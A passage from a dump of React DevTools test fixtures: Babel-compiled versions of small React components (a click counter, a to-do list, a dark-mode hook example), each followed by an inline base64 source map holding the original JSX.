desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const [count, setCount] = (0, _react.useState)(0);\n  return /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 16,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/_react.default.createElement(\"p\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 17,\n      columnNumber: 7\n    }\n  }, \"You clicked \", count, \" times\"), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: () => setCount(count + 1),\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 18,\n      columnNumber: 7\n    }\n  }, \"Click me\"));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIkV4YW1wbGUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJzZXRDb3VudCJdLCJtYXBwaW5ncyI6Ijs7Ozs7OztBQVNBOzs7Ozs7OztBQUVPLFNBQVNBLFNBQVQsR0FBcUI7QUFDMUIsUUFBTSxDQUFDQyxLQUFELEVBQVFDLFFBQVIsSUFBb0IscUJBQVMsQ0FBVCxDQUExQjtBQUVBLHNCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLHFCQUFnQkQsS0FBaEIsV0FERixlQUVFO0FBQVEsSUFBQSxPQUFPLEVBQUUsTUFBTUMsUUFBUSxDQUFDRCxLQUFLLEdBQUcsQ0FBVCxDQUEvQjtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxnQkFGRixDQURGO0FBTUQiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuaW1wb3J0IFJlYWN0LCB7dXNlU3RhdGV9IGZyb20gJ3JlYWN0JztcblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50LCBzZXRDb3VudF0gPSB1c2VTdGF0ZSgwKTtcblxuICByZXR1cm4gKFxuICAgIDxkaXY+XG4gICAgICA8cD5Zb3UgY2xpY2tlZCB7Y291bnR9IHRpbWVzPC9wPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXsoKSA9PiBzZXRDb3VudChjb3VudCArIDEpfT5DbGljayBtZTwvYnV0dG9uPlxuICAgIDwvZGl2PlxuICApO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/InlineRequire.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\n/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * \n */\nfunction Component() {\n  const [count] = require('react').useState(0);\n\n  return count;\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIklubGluZVJlcXVpcmUuanMiXSwibmFtZXMiOlsiQ29tcG9uZW50IiwiY291bnQiLCJyZXF1aXJlIiwidXNlU3RhdGUiXSwibWFwcGluZ3MiOiI7Ozs7Ozs7QUFBQTs7Ozs7Ozs7QUFTTyxTQUFTQSxTQUFULEdBQXFCO0FBQzFCLFFBQU0sQ0FBQ0MsS0FBRCxJQUFVQyxPQUFPLENBQUMsT0FBRCxDQUFQLENBQWlCQyxRQUFqQixDQUEwQixDQUExQixDQUFoQjs7QUFFQSxTQUFPRixLQUFQO0FBQ0QiLCJzb3VyY2VzQ29udGVudCI6WyIvKipcbiAqIENvcHlyaWdodCAoYykgRmFjZWJvb2ssIEluYy4gYW5kIGl0cyBhZmZpbGlhdGVzLlxuICpcbiAqIFRoaXMgc291cmNlIGNvZGUgaXMgbGljZW5zZWQgdW5kZXIgdGhlIE1JVCBsaWNlbnNlIGZvdW5kIGluIHRoZVxuICogTElDRU5TRSBmaWxlIGluIHRoZSByb290IGRpcmVjdG9yeSBvZiB0aGlzIHNvdXJjZSB0cmVlLlxuICpcbiAqIEBmbG93XG4gKi9cblxuZXhwb3J0IGZ1bmN0aW9uIENvbXBvbmVudCgpIHtcbiAgY29uc3QgW2NvdW50XSA9IHJlcXVpcmUoJ3JlYWN0JykudXNlU3RhdGUoMCk7XG5cbiAgcmV0dXJuIGNvdW50O1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/ToDoList.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.ListItem = ListItem;\nexports.List = List;\n\nvar React = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction ListItem({\n  item,\n  removeItem,\n  toggleItem\n}) {\n  const handleDelete = (0, React.useCallback)(() => {\n    removeItem(item);\n  }, [item, removeItem]);\n  const handleToggle = (0, React.useCallback)(() => {\n    toggleItem(item);\n  }, [item, toggleItem]);\n  return /*#__PURE__*/React.createElement(\"li\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 23,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"button\", {\n    onClick: handleDelete,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 24,\n      columnNumber: 7\n    }\n  }, \"Delete\"), /*#__PURE__*/React.createElement(\"label\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 25,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"input\", {\n    checked: item.isComplete,\n    onChange: handleToggle,\n    type: \"checkbox\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 26,\n      columnNumber: 9\n    }\n  }), ' ', item.text));\n}\n\nfunction List(props) {\n  const [newItemText, setNewItemText] = (0, React.useState)('');\n  const [items, setItems] = (0, React.useState)([{\n    id: 1,\n    isComplete: true,\n    text: 'First'\n  }, {\n    id: 2,\n    isComplete: true,\n    text: 'Second'\n  }, {\n    id: 3,\n    isComplete: false,\n    text: 'Third'\n  }]);\n  const [uid, setUID] = (0, React.useState)(4);\n  const handleClick = (0, React.useCallback)(() => {\n    if (newItemText !== '') {\n      setItems([...items, {\n        id: uid,\n        isComplete: false,\n        text: newItemText\n      }]);\n      setUID(uid + 1);\n      setNewItemText('');\n    }\n  }, [newItemText, items, uid]);\n  const handleKeyPress = (0, React.useCallback)(event => {\n    if (event.key === 'Enter') {\n      handleClick();\n    }\n  }, [handleClick]);\n  const handleChange = (0, React.useCallback)(event => {\n    setNewItemText(event.currentTarget.value);\n  }, [setNewItemText]);\n  const removeItem = (0, React.useCallback)(itemToRemove => setItems(items.filter(item => item !== itemToRemove)), [items]);\n  const toggleItem = (0, React.useCallback)(itemToToggle => {\n    // Dont use indexOf()\n    // because editing props in DevTools creates a new Object.\n    const index = items.findIndex(item => item.id === itemToToggle.id);\n    setItems(items.slice(0, index).concat({ ...itemToToggle,\n      isComplete: !itemToToggle.isComplete\n    }).concat(items.slice(index + 1)));\n  }, [items]);\n  return /*#__PURE__*/React.createElement(React.Fragment, {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 102,\n      columnNumber: 5\n    }\n  }, /*#__PURE__*/React.createElement(\"h1\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 103,\n      columnNumber: 7\n    }\n  }, \"List\"), /*#__PURE__*/React.createElement(\"input\", {\n    type: \"text\",\n    placeholder: \"New list item...\",\n    value: newItemText,\n    onChange: handleChange,\n    onKeyPress: handleKeyPress,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 104,\n      columnNumber: 7\n    }\n  }), /*#__PURE__*/React.createElement(\"button\", {\n    disabled: newItemText === '',\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 111,\n      columnNumber: 7\n    }\n  }, /*#__PURE__*/React.createElement(\"span\", {\n    role: \"img\",\n    \"aria-label\": \"Add item\",\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 112,\n      columnNumber: 9\n    }\n  }, \"Add\")), /*#__PURE__*/React.createElement(\"ul\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 116,\n      columnNumber: 7\n    }\n  }, items.map(item => /*#__PURE__*/React.createElement(ListItem, {\n    key: item.id,\n    item: item,\n    removeItem: removeItem,\n    toggleItem: toggleItem,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 118,\n      columnNumber: 11\n    }\n  }))));\n}\n//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJzb3VyY2VzIjpbIlRvRG9MaXN0LmpzIl0sIm5hbWVzIjpbIkxpc3RJdGVtIiwiaXRlbSIsInJlbW92ZUl0ZW0iLCJ0b2dnbGVJdGVtIiwiaGFuZGxlRGVsZXRlIiwiaGFuZGxlVG9nZ2xlIiwiaXNDb21wbGV0ZSIsInRleHQiLCJMaXN0IiwicHJvcHMiLCJuZXdJdGVtVGV4dCIsInNldE5ld0l0ZW1UZXh0IiwiaXRlbXMiLCJzZXRJdGVtcyIsImlkIiwidWlkIiwic2V0VUlEIiwiaGFuZGxlQ2xpY2siLCJoYW5kbGVLZXlQcmVzcyIsImV2ZW50Iiwia2V5IiwiaGFuZGxlQ2hhbmdlIiwiY3VycmVudFRhcmdldCIsInZhbHVlIiwiaXRlbVRvUmVtb3ZlIiwiZmlsdGVyIiwiaXRlbVRvVG9nZ2xlIiwiaW5kZXgiLCJmaW5kSW5kZXgiLCJzbGljZSIsImNvbmNhdCIsIm1hcCJdLCJtYXBwaW5ncyI6Ijs7Ozs7Ozs7QUFTQTs7Ozs7Ozs7QUFHTyxTQUFTQSxRQUFULENBQWtCO0FBQUNDLEVBQUFBLElBQUQ7QUFBT0MsRUFBQUEsVUFBUDtBQUFtQkMsRUFBQUE7QUFBbkIsQ0FBbEIsRUFBa0Q7QUFDdkQsUUFBTUMsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0QsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPQyxVQUFQLENBRmtCLENBQXJCO0FBSUEsUUFBTUcsWUFBWSxHQUFHLHVCQUFZLE1BQU07QUFDckNGLElBQUFBLFVBQVUsQ0FBQ0YsSUFBRCxDQUFWO0FBQ0QsR0FGb0IsRUFFbEIsQ0FBQ0EsSUFBRCxFQUFPRSxVQUFQLENBRmtCLENBQXJCO0FBSUEsc0JBQ0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsa0JBQ0U7QUFBUSxJQUFBLE9BQU8sRUFBRUMsWUFBakI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsY0FERixlQUVFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FB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Q0FBUjtBQVNELEdBZmdCLEVBZ0JqQixDQUFDZixLQUFELENBaEJpQixDQUFuQjtBQW1CQSxzQkFDRSxvQkFBQyxjQUFEO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLGtCQUNFO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBLFlBREYsZUFFRTtBQUNFLElBQUEsSUFBSSxFQUFDLE1BRFA7QUFFRSxJQUFBLFdBQVcsRUFBQyxrQkFGZDtBQUdFLElBQUEsS0FBSyxFQUFFRixXQUhUO0FBSUUsSUFBQSxRQUFRLEVBQUVXLFlBSlo7QUFLRSxJQUFBLFVBQVUsRUFBRUgsY0FMZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQUZGLGVBU0U7QUFBUSxJQUFBLFFBQVEsRUFBRVIsV0FBVyxLQUFLLEVBQWxDO0FBQXNDLElBQUEsT0FBTyxFQUFFTyxXQUEvQztBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxrQkFDRTtBQUFNLElBQUEsSUFBSSxFQUFDLEtBQVg7QUFBaUIsa0JBQVcsVUFBNUI7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsV0FERixDQVRGLGVBY0U7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsS0FDR0wsS0FBSyxDQUFDbUIsR0FBTixDQUFVOUIsSUFBSSxpQkFDYixvQkFBQyxRQUFEO0FBQ0UsSUFBQSxHQUFHLEVBQUVBLElBQUksQ0FBQ2EsRUFEWjtBQUVFLElBQUEsSUFBSSxFQUFFYixJQUZSO0FBR0UsSUFBQSxVQUFVLEVBQUVDLFVBSGQ7QUFJRSxJQUFBLFVBQVUsRUFBRUMsVUFKZDtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQSxJQURELENBREgsQ0FkRixDQURGO0FBMkJEIiwic291cmNlc0NvbnRlbnQiOlsiLyoqXG4gKiBDb3B5cmlnaHQgKGMpIEZhY2Vib29rLCBJbmMuIGFuZCBpdHMgYWZmaWxpYXRlcy5cbiAqXG4gKiBUaGlzIHNvdXJjZSBjb2RlIGlzIGxpY2Vuc2VkIHVuZGVyIHRoZSBNSVQgbGljZW5zZSBmb3VuZCBpbiB0aGVcbiAqIExJQ0VOU0UgZmlsZSBpbiB0aGUgcm9vdCBkaXJlY3Rvcnkgb2YgdGhpcyBzb3VyY2UgdHJlZS5cbiAqXG4gKiBAZmxvd1xuICovXG5cbmltcG9ydCAqIGFzIFJlYWN0IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7RnJhZ21lbnQsIHVzZUNhbGxiYWNrLCB1c2VTdGF0ZX0gZnJvbSAncmVhY3QnO1xuXG5leHBvcnQgZnVuY3Rpb24gTGlzdEl0ZW0oe2l0ZW0sIHJlbW92ZUl0ZW0sIHRvZ2dsZUl0ZW19KSB7XG4gIGNvbnN0IGhhbmRsZURlbGV0ZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICByZW1vdmVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgcmVtb3ZlSXRlbV0pO1xuXG4gIGNvbnN0IGhhbmRsZVRvZ2dsZSA9IHVzZUNhbGxiYWNrKCgpID0+IHtcbiAgICB0b2dnbGVJdGVtKGl0ZW0pO1xuICB9LCBbaXRlbSwgdG9nZ2xlSXRlbV0pO1xuXG4gIHJldHVybiAoXG4gICAgPGxpPlxuICAgICAgPGJ1dHRvbiBvbkNsaWNrPXtoYW5kbGVEZWxldGV9PkRlbGV0ZTwvYnV0dG9uPlxuICAgICAgPGxhYmVsPlxuICAgICAgICA8aW5wdXRcbiAgICAgICAgICBjaGVja2VkPXtpdGVtLmlzQ29tcGxldGV9XG4gICAgICAgICAgb25DaGFuZ2U9e2hhbmRsZVRvZ2dsZX1cbiAgICAgICAgICB0eXBlPVwiY2hlY2tib3hcIlxuICAgICAgICAvPnsnICd9XG4gICAgICAgIHtpdGVtLnRleHR9XG4gICAgICA8L2xhYmVsPlxuICAgIDwvbGk+XG4gICk7XG59XG5cbmV4cG9ydCBmdW5jdGlvbiBMaXN0KHByb3BzKSB7XG4gIGNvbnN0IFtuZXdJdGVtVGV4dCwgc2V0TmV3SXRlbVRleHRdID0gdXNlU3RhdGUoJycpO1xuICBjb25zdCBbaXRlbXMsIHNldEl0ZW1zXSA9IHVzZVN0YXRlKFtcbiAgICB7aWQ6IDEsIGlzQ29tcGxldGU6IHRydWUsIHRleHQ6ICdGaXJzdCd9LFxuICAgIHtpZDogMiwgaXNDb21wbGV0ZTogdHJ1ZSwgdGV4dDogJ1NlY29uZCd9LFxuICAgIHtpZDogMywgaXNDb21wbGV0ZTogZmFsc2UsIHRleHQ6ICdUaGlyZCd9LFxuICBdKTtcbiAgY29uc3QgW3VpZCwgc2V0VUlEXSA9IHVzZVN0YXRlKDQpO1xuXG4gIGNvbnN0IGhhbmRsZUNsaWNrID0gdXNlQ2FsbGJhY2soKCkgPT4ge1xuICAgIGlmIChuZXdJdGVtVGV4dCAhPT0gJycpIHtcbiAgICAgIHNldEl0ZW1zKFtcbiAgICAgICAgLi4uaXRlbXMsXG4gICAgICAgIHtcbiAgICAgICAgICBpZDogdWlkLFxuICAgICAgICAgIGlzQ29tcGxldGU6IGZhbHNlLFxuICAgICAgICAgIHRleHQ6IG5ld0l0ZW1UZXh0LFxuICAgICAgICB9LFxuICAgICAgXSk7XG4gICAgICBzZXRVSUQodWlkICsgMSk7XG4gICAgICBzZXROZXdJdGVtVGV4dCgnJyk7XG4gICAgfVxuICB9LCBbbmV3SXRlbVRleHQsIGl0ZW1zLCB1aWRdKTtcblxuICBjb25zdCBoYW5kbGVLZXlQcmVzcyA9IHVzZUNhbGxiYWNrKFxuICAgIGV2ZW50ID0+IHtcbiAgICAgIGlmIChldmVudC5rZXkgPT09ICdFbnRlcicpIHtcbiAgICAgICAgaGFuZGxlQ2xpY2soKTtcbiAgICAgIH1cbiAgICB9LFxuICAgIFtoYW5kbGVDbGlja10sXG4gICk7XG5cbiAgY29uc3QgaGFuZGxlQ2hhbmdlID0gdXNlQ2FsbGJhY2soXG4gICAgZXZlbnQgPT4ge1xuICAgICAgc2V0TmV3SXRlbVRleHQoZXZlbnQuY3VycmVudFRhcmdldC52YWx1ZSk7XG4gICAgfSxcbiAgICBbc2V0TmV3SXRlbVRleHRdLFxuICApO1xuXG4gIGNvbnN0IHJlbW92ZUl0ZW0gPSB1c2VDYWxsYmFjayhcbiAgICBpdGVtVG9SZW1vdmUgPT4gc2V0SXRlbXMoaXRlbXMuZmlsdGVyKGl0ZW0gPT4gaXRlbSAhPT0gaXRlbVRvUmVtb3ZlKSksXG4gICAgW2l0ZW1zXSxcbiAgKTtcblxuICBjb25zdCB0b2dnbGVJdGVtID0gdXNlQ2FsbGJhY2soXG4gICAgaXRlbVRvVG9nZ2xlID0+IHtcbiAgICAgIC8vIERvbnQgdXNlIGluZGV4T2YoKVxuICAgICAgLy8gYmVjYXVzZSBlZGl0aW5nIHByb3BzIGluIERldlRvb2xzIGNyZWF0ZXMgYSBuZXcgT2JqZWN0LlxuICAgICAgY29uc3QgaW5kZXggPSBpdGVtcy5maW5kSW5kZXgoaXRlbSA9PiBpdGVtLmlkID09PSBpdGVtVG9Ub2dnbGUuaWQpO1xuXG4gICAgICBzZXRJdGVtcyhcbiAgICAgICAgaXRlbXNcbiAgICAgICAgICAuc2xpY2UoMCwgaW5kZXgpXG4gICAgICAgICAgLmNvbmNhdCh7XG4gICAgICAgICAgICAuLi5pdGVtVG9Ub2dnbGUsXG4gICAgICAgICAgICBpc0NvbXBsZXRlOiAhaXRlbVRvVG9nZ2xlLmlzQ29tcGxldGUsXG4gICAgICAgICAgfSlcbiAgICAgICAgICAuY29uY2F0KGl0ZW1zLnNsaWNlKGluZGV4ICsgMSkpLFxuICAgICAgKTtcbiAgICB9LFxuICAgIFtpdGVtc10sXG4gICk7XG5cbiAgcmV0dXJuIChcbiAgICA8RnJhZ21lbnQ+XG4gICAgICA8aDE+TGlzdDwvaDE+XG4gICAgICA8aW5wdXRcbiAgICAgICAgdHlwZT1cInRleHRcIlxuICAgICAgICBwbGFjZWhvbGRlcj1cIk5ldyBsaXN0IGl0ZW0uLi5cIlxuICAgICAgICB2YWx1ZT17bmV3SXRlbVRleHR9XG4gICAgICAgIG9uQ2hhbmdlPXtoYW5kbGVDaGFuZ2V9XG4gICAgICAgIG9uS2V5UHJlc3M9e2hhbmRsZUtleVByZXNzfVxuICAgICAgLz5cbiAgICAgIDxidXR0b24gZGlzYWJsZWQ9e25ld0l0ZW1UZXh0ID09PSAnJ30gb25DbGljaz17aGFuZGxlQ2xpY2t9PlxuICAgICAgICA8c3BhbiByb2xlPVwiaW1nXCIgYXJpYS1sYWJlbD1cIkFkZCBpdGVtXCI+XG4gICAgICAgICAgQWRkXG4gICAgICAgIDwvc3Bhbj5cbiAgICAgIDwvYnV0dG9uPlxuICAgICAgPHVsPlxuICAgICAgICB7aXRlbXMubWFwKGl0ZW0gPT4gKFxuICAgICAgICAgIDxMaXN0SXRlbVxuICAgICAgICAgICAga2V5PXtpdGVtLmlkfVxuICAgICAgICAgICAgaXRlbT17aXRlbX1cbiAgICAgICAgICAgIHJlbW92ZUl0ZW09e3JlbW92ZUl0ZW19XG4gICAgICAgICAgICB0b2dnbGVJdGVtPXt0b2dnbGVJdGVtfVxuICAgICAgICAgIC8+XG4gICAgICAgICkpfVxuICAgICAgPC91bD5cbiAgICA8L0ZyYWdtZW50PlxuICApO1xufVxuIl19"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/__tests__/__source__/__compiled__/inline/fb-sources-extended/ComponentUsingHooksIndirectly.js",
    "content": "\"use strict\";\n\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.Component = Component;\n\nvar _react = _interopRequireWildcard(require(\"react\"));\n\nvar _jsxFileName = \"\";\n\nfunction _getRequireWildcardCache() { if (typeof WeakMap !== \"function\") return null; var cache = new WeakMap(); _getRequireWildcardCache = function () { return cache; }; return cache; }\n\nfunction _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } if (obj === null || typeof obj !== \"object\" && typeof obj !== \"function\") { return { default: obj }; } var cache = _getRequireWildcardCache(); if (cache && cache.has(obj)) { return cache.get(obj); } var newObj = {}; var hasPropertyDescriptor = Object.defineProperty && Object.getOwnPropertyDescriptor; for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = hasPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : null; if (desc && (desc.get || desc.set)) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } newObj.default = obj; if (cache) { cache.set(obj, newObj); } return newObj; }\n\nfunction Component() {\n  const countState = (0, _react.useState)(0);\n  const count = countState[0];\n  const setCount = countState[1];\n  const darkMode = useIsDarkMode();\n  const [isDarkMode] = darkMode;\n  (0, _react.useEffect)(() => {// ...\n  }, []);\n\n  const handleClick = () => setCount(count + 1);\n\n  return /*#__PURE__*/_react.default.createElement(_react.default.Fragment, null, /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 28,\n      columnNumber: 7\n    }\n  }, \"Dark mode? \", isDarkMode), /*#__PURE__*/_react.default.createElement(\"div\", {\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 29,\n      columnNumber: 7\n    }\n  }, \"Count: \", count), /*#__PURE__*/_react.default.createElement(\"button\", {\n    onClick: handleClick,\n    __source: {\n      fileName: _jsxFileName,\n      lineNumber: 30,\n      columnNumber: 7\n    }\n  }, \"Update count\"));\n}\n\nfunction useIsDarkMode() {\n  const darkModeState = (0, _react.useState)(false);\n  const [isDarkMode] = darkModeState;\n  (0, _react.useEffect)(function useEffectCreate() {// Here is where we may listen to a \"theme\" event...\n  }, []);\n  return [isDarkMode, () => {}];\n}\n//# 